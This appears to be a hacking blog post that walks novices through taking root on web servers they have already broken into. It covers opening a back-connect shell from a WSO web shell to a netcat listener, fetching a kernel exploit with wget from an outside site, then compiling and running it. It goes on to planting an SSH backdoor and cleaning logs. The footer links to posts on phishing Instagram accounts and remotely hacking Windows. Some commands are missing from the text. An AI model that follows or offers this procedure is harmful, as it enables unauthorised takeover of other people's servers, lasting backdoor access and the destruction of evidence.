root [Learn “Root” : Explained]
#So Lets Start…
These are Some Basic Questions asked by myself as a n00b.
# What is rooting ?
A. Getting access to the user => “root”, the main admin of the site.
# What is the need of rooting ?
A. Getting master admin privillages of Servers
Things you need
# A Shell on a Website
# An Exploit
# Log cleaner
# Ssh Backdoor
# A Brain
Simply you can search on Google for these, except BRAIN and SHELL 😉
Getting Back Connection to the servers
Open command prompt, and go to NetCat Path, Type
OK. Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like “WSO 2.3” or Any other
That’s your choice….
Specify your “ip & port as 2121”. Press connect, now you’ll get a shell to the server, you can give commands to the server through that shell.
Now came back to netcat and type
nc -l -v -p 2121
iIt will give you this output:
c:\netcat>nc -l -v -p 2121 listening on [any] 2121 ...
Getting a Right exploit for the servers
& hit enter.
It’ll look something like this:
[[email protected] /home/saijyoti/public_html/cgi-bin]$ uname -a Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
You have noted, It shows the kernel version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.
You need to find a perfect exploit for it. you can find them at:-
Compiling & executing exploits
Now I’ve got a exploit, & it is written in C. So I can’t execute it by just uploading. but I need to compile it.
Before proceeding further, Cd into the tmp directory, because it is always writable. So type:
// The path may be different, replace it with yours.
So first I’ll get the exploit on the server, So I type :
// Note: There is no such site, I’m just taking it to show you.
It’ll look something Like this:-
[email protected] /home/target_usernemr/public_html/tmp]$ wget http://exploitsite.net/2010-exploits/exploit.c --2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c Resolving www.exploitsite.net... 220.127.116.11 Connecting to www.exploitsite.net|18.104.22.168|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 15088 (15K) [text/x-csrc] Saving to: `exploit.c'
Now change the permission of the exploit to 777.
chmod 777 exploit.c
Now the exploit is On my server, I just need to compile & execute it.
So, I’ll give the command:
gcc -o exploit exploit.c
It’ll compile & save the exploit as >> exploit
Next step is to execute it So we’ll type:
Here it’ll show different process…
Got root you m0f0 !! [<example]
Now it say got root. Let’s Check is it true,
Then it will say
like: uid=0(root) gid=0(root) groups=0(root)
Type “su” to get full privilages !
./run pass port
^ : replace pass with your password, & a port.
Now connect with Putty & enjoy root privileges.
Methods to execute exploits written in other languages
C exploit ---------------------- gcc -o exploit exploit.c chmod +x exploit ./exploit ----------------------
Perl Exploits --------------- perl exploit.pl ---------------
Python ------------------ python exploit.py ------------------
----------------- php exploit.php -----------------
---------------- unzip exploit.zip ./run ----------------
Latest posts by Anuj Mishra (see all)
- How To Hack Website Using Android Without Root (SQLMAP Tutorial & Installation) - 17th February 2018
- How To Hack Instagram Account & Password ? (2018 Method) : Tutorial [Using Phishing, Kali Linux, Root, Apps] - 9th February 2018
- How To Hack Any Windows 7/8/10 Remotely Using An Image Without Any Access ?! - 4th February 2018